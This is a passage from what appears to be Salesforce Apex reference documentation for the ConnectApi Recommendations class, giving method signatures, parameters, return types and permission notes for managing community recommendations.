35.0
Requires Chatter
No
Signature
public static Void deleteRecommendationDefinition(String communityId, String
recommendationDefinitionId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId
Type: String
ID of the recommendation definition.
Return Value
Type: Void
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
deleteRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Delete a recommendation definition photo.
1335
Recommendations ClassReference
API Version
35.0
Requires Chatter
Yes
Signature
public static Void deleteRecommendationDefinitionPhoto(String communityId, String
recommendationDefinitionId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId
Type: String
ID of the recommendation definition.
Return Value
Type: Void
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
deleteScheduledRecommendation(communityId, scheduledRecommendationId,
deleteDefinitionIfLast)
Delete a scheduled recommendation.
API Version
35.0
Requires Chatter
No
Signature
public static Void deleteScheduledRecommendation(String communityId, String
scheduledRecommendationId, Boolean deleteDefinitionIfLast)
1336
Recommendations ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
scheduledRecommendationId
Type: String
ID of the scheduled recommendation.
deleteDefinitionIfLast
Type: Boolean
If true and if this is the last scheduled recommendation of a recommendation definition, deletes the recommendation definition.
Default is false.
Return Value
Type: Void
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
Deleting a scheduled recommendation is comparable to a deletion in an ordered list. All scheduled recommendations after the deleted
scheduled recommendation receive a new, higher rank automatically.
getRecommendationAudience(communityId, recommendationAudienceId)
Get information about a recommendation audience.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationAudience getRecommendationAudience(String
communityId, String recommendationAudienceId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1337
Recommendations ClassReference
recommendationAudienceId
Type: String
ID of the recommendation audience.
Return Value
Type: ConnectApi.RecommendationAudience
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
getRecommendationAudienceMembership(communityId, recommendationAudienceId)
Get the members of a recommendation audience.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.UserReferencePage getRecommendationAudienceMembership(String
communityId, String recommendationAudienceId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationAudienceId
Type: String
ID of the recommendation audience.
Return Value
Type: ConnectApi.UserReferencePage
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
1338
Recommendations ClassReference
getRecommendationAudienceMembership(communityId, recommendationAudienceId,
pageParam, pageSize)
Get a page of recommendation audience members.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.UserReferencePage getRecommendationAudienceMembership(String
communityId, String recommendationAudienceId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationAudienceId
Type: String
ID of the recommendation audience.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of members per page.
Return Value
Type: ConnectApi.UserReferencePage
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
getRecommendationAudiences(communityId)
Get recommendation audiences.
1339
Recommendations ClassReference
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationAudiencePage getRecommendationAudiences(String
communityId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.RecommendationAudiencePage
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
getRecommendationAudiences(communityId, pageParam, pageSize)
Get a page of recommendation audiences.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationAudiencePage getRecommendationAudiences(String
communityId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1340
Recommendations ClassReference
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of audiences per page.
Return Value
Type: ConnectApi.RecommendationAudiencePage
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
getRecommendationDefinition(communityId, recommendationDefinitionId)
Get a recommendation definition.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationDefinition getRecommendationDefinition(String
communityId, String recommendationDefinitionId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId
Type: String
ID of the recommendation definition.
Return Value
Type: ConnectApi.RecommendationDefinition
1341
Recommendations ClassReference
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
getRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Get a recommendation definition photo.
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo getRecommendationDefinitionPhoto(String communityId,
String recommendationDefinitionId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId
Type: String
ID of the recommendation definition.
Return Value
Type: ConnectApi.Photo
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
getRecommendationDefinitions(communityId)
Get recommendation definitions.
API Version
35.0
1342
Recommendations ClassReference
Requires Chatter
No
Signature
public static ConnectApi.RecommendationDefinitionPage getRecommendationDefinitions(String
communityId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.RecommendationDefinitionPage
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
getRecommendationForUser(communityId, userId, action, objectId)
Returns the recommendation for the context user for the specified action and object ID.
API Version
33.0
Requires Chatter
Yes
Signature
public static ConnectApi.RecommendationCollection getRecommendationForUser(String
communityId, String userId, ConnectApi.RecommendationActionType action, String objectId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
1343
Recommendations ClassReference
action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
•follow—Follow a file, record, topic, or user.
•join—Join a group.
•view—View a file, group, article, record, user, custom, or static recommendation.
objectId
Type: String
Specifies the object to take action on.
•If action is follow, objectId is a user ID, file ID, record ID, or topic ID (version 36.0 and later).
•If action is join, objectId is a group ID.
•If action is view, objectId is a user ID, file ID, group ID, record ID, custom recommendation ID (version 34.0 and later),
the enum Today for static recommendations (version 35.0 and later), or an article ID (version 37.0 and later).
Return Value
Type: ConnectApi.RecommendationCollection
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationForUser(communityId, userId, action, objectId, result)
Testing ConnectApi Code
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId,
maxResults)
Returns the user, group, file, record, custom, and static recommendations for the context user.
API Version
33.0–35.0
Important: In version 36.0 and later, use getRecommendationsForUser(communityId, userId,
contextAction, contextObjectId, channel, maxResults).
Requires Chatter
Yes
1344
Recommendations ClassReference
Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String
communityId, String userId, ConnectApi.RecommendationActionType contextAction, String
contextObjectId, Integer maxResults)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
•follow
•view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
•If contextAction is follow, contextObjectId is a user ID, file ID, or record ID.
•If contextAction is view, contextObjectId is a user ID, file ID, group ID, or record ID.
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
maxResults
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
Return Value
Type: ConnectApi.RecommendationCollection
Usage
If you want to get recommendations based on a recent action performed, such as following a user, use contextAction and
contextObjectId together. For example, if you just followed Pam, you specify follow for contextAction and Pam’s user
ID for contextObjectId.
This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method
returns a recommendation for you to follow Suzanne since John also follows Suzanne.
1345
Recommendations ClassReference
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults, result)
Testing ConnectApi Code
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId,
channel, maxResults)
Returns the user, group, file, article, record, topic, custom, and static recommendations for the context user.
API Version
36.0
Available to Guest Users
38.0
Note: Only article and file recommendations are available to guest users.
Requires Chatter
Yes
Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String
communityId, String userId, ConnectApi.RecommendationActionType contextAction, String
contextObjectId, ConnectApi.RecommendationChannel channel, Integer maxResults)
1346
Recommendations ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
•follow
•view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
•If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
•If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and
later).
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
channel
Type: ConnectApi.RecommendationChannel
Specifies a way to tie recommendations together, for example, to display recommendations in specific places in the UI or to show
recommendations based on time of day or geographic locations. Values are:
•CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels. For example, community managers can use Community Builder to determine where recommendations appear.
•CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•DefaultChannel—Default recommendation channel. Recommendations appear by default on the Customer Service
(Napili) community home and question detail pages and in the feed in communities in the Salesforce1 mobile browser app.
They also appear anywhere community managers add recommendations using Community Builder in communities using the
Summer ’15 or later version of the Customer Service (Napili) template.
maxResults
Type: Integer
1347
Recommendations ClassReference
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
Return Value
Type: ConnectApi.RecommendationCollection
Usage
If you want to get recommendations based on a recent action performed, such as following a user, use contextAction and
contextObjectId together. For example, if you just followed Pam, you specify follow for contextAction and Pam’s user
ID for contextObjectId.
This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method
returns a recommendation for you to follow Suzanne since John also follows Suzanne.
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults, result)
Testing ConnectApi Code
getRecommendationsForUser(communityId, userId, action, contextAction,
contextObjectId, maxResults)
Returns the recommendations for the context user for the specified action.
API Version
33.0–35.0
Important: In version 36.0 and later, use getRecommendationsForUser(communityId, userId, action,
contextAction, contextObjectId, channel, maxResults).
1348
Recommendations ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String
communityId, String userId, ConnectApi.RecommendationActionType action,
ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer
maxResults)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
•follow—Follow a file, record, topic, or user.
•join—Join a group.
•view—View a file, group, article, record, user, custom, or static recommendation.
contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
•follow
•view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
•If contextAction is follow, contextObjectId is a user ID, file ID, or record ID.
•If contextAction is view, contextObjectId is a user ID, file ID, group ID, or record ID.
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
maxResults
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
1349
Recommendations ClassReference
Return Value
Type: ConnectApi.RecommendationCollection
Usage
If you want to get recommendations based on a recent action performed, such as following a user, use contextAction and
contextObjectId together. For example, if you just followed Pam, you specify follow for contextAction and Pam’s user
ID for contextObjectId.
This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method
returns a recommendation for you to follow Suzanne since John also follows Suzanne.
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults, result)
Testing ConnectApi Code
getRecommendationsForUser(communityId, userId, action, contextAction,
contextObjectId, channel, maxResults)
Returns the recommendations for the context user for the specified action.
API Version
36.0
Available to Guest Users
38.0
Note: Only article and file recommendations are available to guest users.
1350
Recommendations ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String
communityId, String userId, ConnectApi.RecommendationActionType action,
ConnectApi.RecommendationActionType contextAction, String contextObjectId,
ConnectApi.RecommendationChannel channel, Integer maxResults)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
•follow—Follow a file, record, topic, or user.
•join—Join a group.
•view—View a file, group, article, record, user, custom, or static recommendation.
contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
•follow
•view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
•If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
•If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and
later).
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
channel
Type: ConnectApi.RecommendationChannel
1351
Recommendations ClassReference
Specifies a way to tie recommendations together, for example, to display recommendations in specific places in the UI or to show
recommendations based on time of day or geographic locations. Values are:
•CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels. For example, community managers can use Community Builder to determine where recommendations appear.
•CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•DefaultChannel—Default recommendation channel. Recommendations appear by default on the Customer Service
(Napili) community home and question detail pages and in the feed in communities in the Salesforce1 mobile browser app.
They also appear anywhere community managers add recommendations using Community Builder in communities using the
Summer ’15 or later version of the Customer Service (Napili) template.
maxResults
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
Return Value
Type: ConnectApi.RecommendationCollection
Usage
If you want to get recommendations based on a recent action performed, such as following a user, use contextAction and
contextObjectId together. For example, if you just followed Pam, you specify follow for contextAction and Pam’s user
ID for contextObjectId.
This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method
returns a recommendation for you to follow Suzanne since John also follows Suzanne.
1352
Recommendations ClassReference
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults, result)
Testing ConnectApi Code
getRecommendationsForUser(communityId, userId, action, objectCategory,
contextAction, contextObjectId, maxResults)
Returns the recommendations for the context user for the specified action and object category.
API Version
33.0–35.0
Important: In version 36.0 and later, use getRecommendationsForUser(communityId, userId, action,
objectCategory, contextAction, contextObjectId, channel, maxResults).
Requires Chatter
Yes
Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String
communityId, String userId, ConnectApi.RecommendationActionType action, String
objectCategory, ConnectApi.RecommendationActionType contextAction, String
contextObjectId, Integer maxResults)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
•follow—Follow a file, record, topic, or user.
•join—Join a group.
•view—View a file, group, article, record, user, custom, or static recommendation.
1353
Recommendations ClassReference
objectCategory
Type: String
•If action is follow, objectCategory is users, files, or records.
•If action is join, objectCategory is groups.
•If action is view, objectCategory is users, files, groups, records, custom, or apps.
You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:
•If action is follow, objectCategory is 005 (users), 069 (files), or 001 (accounts), for example.
•If action is join, objectCategory is 0F9 (groups).
•If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T
(static recommendations), or 001 (accounts), for example.
contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
•follow
•view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
•If contextAction is follow, contextObjectId is a user ID, file ID, or record ID.
•If contextAction is view, contextObjectId is a user ID, file ID, group ID, or record ID.
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
maxResults
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
Return Value
Type: ConnectApi.RecommendationCollection
Usage
If you want to get recommendations based on a recent action performed, such as following a user, use contextAction and
contextObjectId together. For example, if you just followed Pam, you specify follow for contextAction and Pam’s user
ID for contextObjectId.
This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method
returns a recommendation for you to follow Suzanne since John also follows Suzanne.
1354
Recommendations ClassReference
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults,
result)
Testing ConnectApi Code
getRecommendationsForUser(communityId, userId, action, objectCategory,
contextAction, contextObjectId, channel, maxResults)
Returns the recommendations for the context user for the specified action and object category.
API Version
36.0
Available to Guest Users
38.0
Note: Only article and file recommendations are available to guest users.
Requires Chatter
Yes
Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String
communityId, String userId, ConnectApi.RecommendationActionType action, String
1355
Recommendations ClassReference
objectCategory, ConnectApi.RecommendationActionType contextAction, String
contextObjectId, ConnectApi.RecommendationChannel channel, Integer maxResults)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
•follow—Follow a file, record, topic, or user.
•join—Join a group.
•view—View a file, group, article, record, user, custom, or static recommendation.
objectCategory
Type: String
•If action is follow, objectCategory is users, files, topics, or records.
•If action is join, objectCategory is groups.
•If action is view, objectCategory is users, files, groups, records, custom, apps, or articles
(version 37.0 and later).
You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:
•If action is follow, objectCategory is 005 (users), 069 (files), 0TO (topics), or 001 (accounts), for example.
•If action is join, objectCategory is 0F9 (groups).
•If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T
(static recommendations), 001 (accounts), or kA0 (articles), for example, (version 370 and later).
contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
•follow
•view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
•If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
•If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and
later).
1356
Recommendations ClassReference
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
channel
Type: ConnectApi.RecommendationChannel
Specifies a way to tie recommendations together, for example, to display recommendations in specific places in the UI or to show
recommendations based on time of day or geographic locations. Values are:
•CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels. For example, community managers can use Community Builder to determine where recommendations appear.
•CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•DefaultChannel—Default recommendation channel. Recommendations appear by default on the Customer Service
(Napili) community home and question detail pages and in the feed in communities in the Salesforce1 mobile browser app.
They also appear anywhere community managers add recommendations using Community Builder in communities using the
Summer ’15 or later version of the Customer Service (Napili) template.
maxResults
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
Return Value
Type: ConnectApi.RecommendationCollection
Usage
If you want to get recommendations based on a recent action performed, such as following a user, use contextAction and
contextObjectId together. For example, if you just followed Pam, you specify follow for contextAction and Pam’s user
ID for contextObjectId.
This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method
returns a recommendation for you to follow Suzanne since John also follows Suzanne.
1357
Recommendations ClassReference
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel,
maxResults, result)
Testing ConnectApi Code
getScheduledRecommendation(communityId, scheduledRecommendationId)
Get a scheduled recommendation.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendation getScheduledRecommendation(String
communityId, String scheduledRecommendationId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
scheduledRecommendationId
Type: String
1358
Recommendations ClassReference
ID of the scheduled recommendation.
Return Value
Type: ConnectApi.ScheduledRecommendation
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
getScheduledRecommendations(communityId)
Get scheduled recommendations.
API Version
35.0 only
Important: In version 36.0 and later, use getScheduledRecommendations(communityId, channel).
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendationPage getScheduledRecommendations(String
communityId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.ScheduledRecommendationPage
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
getScheduledRecommendations(communityId, channel)
Get scheduled recommendations.
1359
Recommendations ClassReference
API Version
36.0
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendationPage getScheduledRecommendations(String
communityId, ConnectApi.RecommendationChannel channel)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
channel
Type: ConnectApi.RecommendationChannel
Specifies a way to tie recommendations together, for example, to display recommendations in specific places in the UI or to show
recommendations based on time of day or geographic locations. Values are:
•CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels. For example, community managers can use Community Builder to determine where recommendations appear.
•CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•DefaultChannel—Default recommendation channel. Recommendations appear by default on the Customer Service
(Napili) community home and question detail pages and in the feed in communities in the Salesforce1 mobile browser app.
They also appear anywhere community managers add recommendations using Community Builder in communities using the
Summer ’15 or later version of the Customer Service (Napili) template.
Return Value
Type: ConnectApi.ScheduledRecommendationPage
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
1360
Recommendations ClassReference
rejectRecommendationForUser(communityId, userId, action, objectId)
Rejects the recommendation for the context user for the specified action and object ID.
API Version
33.0
Requires Chatter
Yes
Signature
public static rejectRecommendationForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, String objectId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation. Supported values are:
•follow—Follow a file, record, topic, or user.
•join—Join a group.
•view—View a file, group, article, record, user, custom, or static recommendation.
objectId
Type: String
Specifies the object to take action on.
•If action is follow, objectId is a user ID, file ID, record ID, or topic ID (version 36.0 and later).
•If action is join, objectId is a group ID.
•If action is view, objectId is a custom recommendation ID, the enum Today for static recommendations, or an article
ID (version 37.0 and later).
Return Value
Type: Void
rejectRecommendationForUser(communityId, userId, action, objectEnum)
Rejects the static recommendation for the context user.
1361
Recommendations ClassReference
API Version
34.0
Requires Chatter
Yes
Signature
public static rejectRecommendationForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, ConnectApi.RecommendedObjectType objectEnum)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation. Supported values are:
•view—View a static recommendation.
objectEnum
Type: ConnectApi.RecommendedObjectType
Specifies the object type to take action on.
•Today—Static recommendations that don’t have an ID, for example, the Today app recommendation.
Return Value
Type: Void
updateRecommendationAudience(communityId, recommendationAudienceId,
recommendationAudience)
Update a recommendation audience.
API Version
35.0
Requires Chatter
No
1362
Recommendations ClassReference
Signature
public static ConnectApi.RecommendationAudience updateRecommendationAudience(String
communityId, String recommendationAudienceId, ConnectApi.RecommendationAudienceInput
recommendationAudience)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationAudienceId
Type: String
ID of the recommendation audience.
recommendationAudience
Type: ConnectApi.RecommendationAudienceInput
A ConnectApi.RecommendationAudienceInput object.
Return Value
Type: ConnectApi.RecommendationAudience
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
updateRecommendationDefinition(communityId, recommendationDefinitionId, name,
title, actionUrl, actionUrlName, explanation)
Update a recommendation definition with the specified parameters.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationDefinition updateRecommendationDefinition(String
communityId, String recommendationDefinitionId, String name, String title, String
actionUrl, String actionUrlName, String explanation recommendationDefinition)
1363
Recommendations ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId
Type: String
ID of the recommendation definition.
name
Type: String
The name of the recommendation definition. The name is displayed in Setup.
title
Type: String
The title of the recommendation definition.
actionUrl
Type: String
The URL for acting on the recommendation, for example, the URL to join a group.
actionUrlName
Type: String
The text label for the action URL in the user interface, for example, “Launch.”
explanation
Type: String
The explanation, or body, of the recommendation.
Return Value
Type: ConnectApi.RecommendationDefinition
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
updateRecommendationDefinition(communityId, recommendationDefinitionId,
recommendationDefinition)
Update a recommendation definition.
API Version
35.0
Requires Chatter
No
1364
